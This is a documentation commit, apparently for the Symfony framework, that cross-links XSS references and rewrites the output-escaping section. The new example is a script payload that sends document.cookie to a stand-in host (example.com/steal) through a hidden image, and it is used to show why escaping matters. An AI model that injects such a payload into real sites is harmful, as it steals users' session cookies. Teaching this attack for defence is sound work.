Skip to content

Commit f4b6992

Browse files
committed
Merge branch '5.4' into 6.4
* 5.4: Minor fix Add a better example of the dangers of XSS attacks
2 parents 06aad72 + 2a66547 commit f4b6992

File tree

3 files changed

+20
-13
lines changed

3 files changed

+20
-13
lines changed

Diff for: reference/configuration/framework.rst

+1-1
Original file line numberDiff line numberDiff line change
@@ -1855,7 +1855,7 @@ cookie_httponly
18551855
This determines whether cookies should only be accessible through the HTTP
18561856
protocol. This means that the cookie won't be accessible by scripting
18571857
languages, such as JavaScript. This setting can effectively help to reduce
1858-
identity theft through XSS attacks.
1858+
identity theft through :ref:`XSS attacks <xss-attacks>`.
18591859

18601860
gc_divisor
18611861
..........

Diff for: reference/configuration/twig.rst

+3-4
Original file line numberDiff line numberDiff line change
@@ -49,9 +49,9 @@ individually in the templates).
4949
.. danger::
5050

5151
Setting this option to ``false`` is dangerous and it will make your
52-
application vulnerable to `XSS attacks`_ because most third-party bundles
53-
assume that auto-escaping is enabled and they don't escape contents
54-
themselves.
52+
application vulnerable to :ref:`XSS attacks <xss-attacks>` because most
53+
third-party bundles assume that auto-escaping is enabled and they don't
54+
escape contents themselves.
5555

5656
If set to a string, the template contents are escaped using the strategy with
5757
that name. Allowed values are ``html``, ``js``, ``css``, ``url``, ``html_attr``
@@ -441,5 +441,4 @@ attribute or method doesn't exist. If set to ``false`` these errors are ignored
441441
and the non-existing values are replaced by ``null``.
442442

443443
.. _`the optimizer extension`: https://twig.symfony.com/doc/3.x/api.html#optimizer-extension
444-
.. _`XSS attacks`: https://en.wikipedia.org/wiki/Cross-site_scripting
445444
.. _`__invoke() PHP magic method`: https://www.php.net/manual/en/language.oop5.magic.php#object.invoke

Diff for: templates.rst

+16-8
Original file line numberDiff line numberDiff line change
@@ -1306,17 +1306,25 @@ and leaves the repeated contents and HTML structure to some parent templates.
13061306
Read the `Twig template inheritance`_ docs to learn more about how to reuse
13071307
parent block contents when overriding templates and other advanced features.
13081308

1309-
Output Escaping
1310-
---------------
1309+
.. _output-escaping:
1310+
.. _xss-attacks:
1311+
1312+
Output Escaping and XSS Attacks
1313+
-------------------------------
13111314

13121315
Imagine that your template includes the ``Hello {{ name }}`` code to display the
1313-
user name. If a malicious user sets ``<script>alert('hello!')</script>`` as
1314-
their name and you output that value unchanged, the application will display a
1315-
JavaScript popup window.
1316+
user name and a malicious user sets the following as their name:
1317+
1318+
.. code-block:: html
1319+
1320+
My Name
1321+
<script type="text/javascript">
1322+
document.write('<img src="https://example.com/steal?cookie=' + encodeURIComponent(document.cookie) + '" style="display:none;">');
1323+
</script>
13161324

1317-
This is known as a `Cross-Site Scripting`_ (XSS) attack. And while the previous
1318-
example seems harmless, the attacker could write more advanced JavaScript code
1319-
to perform malicious actions.
1325+
You'll see ``My Name`` on screen but the attacker just secretly stole your cookies
1326+
so they can impersonate you on other websites. This is known as a `Cross-Site Scripting`_
1327+
or XSS attack.
13201328

13211329
To prevent this attack, use *"output escaping"* to transform the characters
13221330
which have special meaning (e.g. replace ``<`` by the ``&lt;`` HTML entity).

0 commit comments

Comments
 (0)